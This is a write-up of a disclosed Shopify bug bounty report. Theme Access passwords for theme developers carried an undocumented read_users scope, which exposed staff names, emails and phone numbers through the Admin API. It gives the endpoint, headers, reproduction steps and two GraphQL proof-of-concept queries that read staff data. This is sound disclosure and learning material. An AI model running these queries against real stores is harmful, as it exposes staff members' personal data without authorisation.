# Theme Access passwords could read staff-member PII through the Admin API

Theme Access passwords documented as write_themes-only actually carried read_users, letting invited theme developers query staff-member names, emails and phones via the Admin API.

- Payout: hidden
- Severity: low
- Program: Shopify
- Found by: zenmeyang
- Disclosed: 2026-12-04
- Write-up quality: 7/10
- Original: https://hackerone.com/reports/3576972
- Library page: https://bugbountylibrary.com/r/h1%3A3576972
- Tags: area:web domain:api impact:pii-leak kind:bounty platform:hackerone sev:low tech:graphql technique:source-review vuln:access-control vuln:info-disclosure

**Target:** Theme Access CLI Admin API proxy (theme-kit-access.shopifyapps.com GraphQL)
**Root cause:** Theme Access passwords were issued with read_themes, read_users and write_themes scopes instead of the documented write_themes-only, so the read_users scope exposed staff-member PII.
**Steps:**
1. Install Theme Access app and create a password for an email you control at /apps/theme-kit-access/create.
2. Open the emailed link, click Show password to obtain the shptka_ token.
3. POST to `https://theme-kit-access.shopifyapps.com/cli/admin/api/unstable/graphql.json` with headers `X-Shopify-Access-Token: shptka_******` and `X-Shopify-Shop: $STORE_NAME.myshopify.com`.
4. Query `currentAppInstallation { accessScopes { handle pii resource } }` to confirm read_users is granted.
5. Query `staffMembers(first:15) { nodes { firstName lastName phone email identityEmail ... } }` to read staff PII.
**How found:** Compared the documented scope (write_themes only) against actual granted scopes by querying currentAppInstallation.accessScopes, spotting the unexpected read_users scope with pii fields.
**Exploitation:** A low-privileged invited theme developer uses their own Theme Access password against the CLI Admin API proxy and issues a staffMembers GraphQL query, returning names, emails and phone numbers of all staff in the store.
**Insight:** On platforms issuing scoped tokens, enumerate the token's real scopes via an introspection-style query (currentAppInstallation.accessScopes) rather than trusting docs; unexpected scopes like read_users map directly to PII endpoints such as staffMembers.

## Proof of concept (copied exactly from the original report)

**GraphQL query listing granted access scopes**

```
POST /cli/admin/api/unstable/graphql.json HTTP/1.1
  Host: theme-kit-access.shopifyapps.com
  Content-Type: application/json
  X-Shopify-Access-Token: shptka_******
  X-Shopify-Shop: $STORE_NAME.myshopify.com

  {
    "query": "query {\n    currentAppInstallation {\n        id\n        app {\n            id\n            apiKey\n            handle\n            description\n        }\n        accessScopes {\n            authType\n            description\n            handle\n            pii\n            resource\n        }\n    }\n}
```

**GraphQL query reading staff-member PII**

```
{
    "query": "query {\n    staffMembers(first:15) {\n        nodes {\n            id\n            firstName\n            lastName\n            phone\n            email\n            identityEmail\n            active\n            accountType\n            permissionLevel\n            lastLogin\n        }\n    }\n}\n"
```

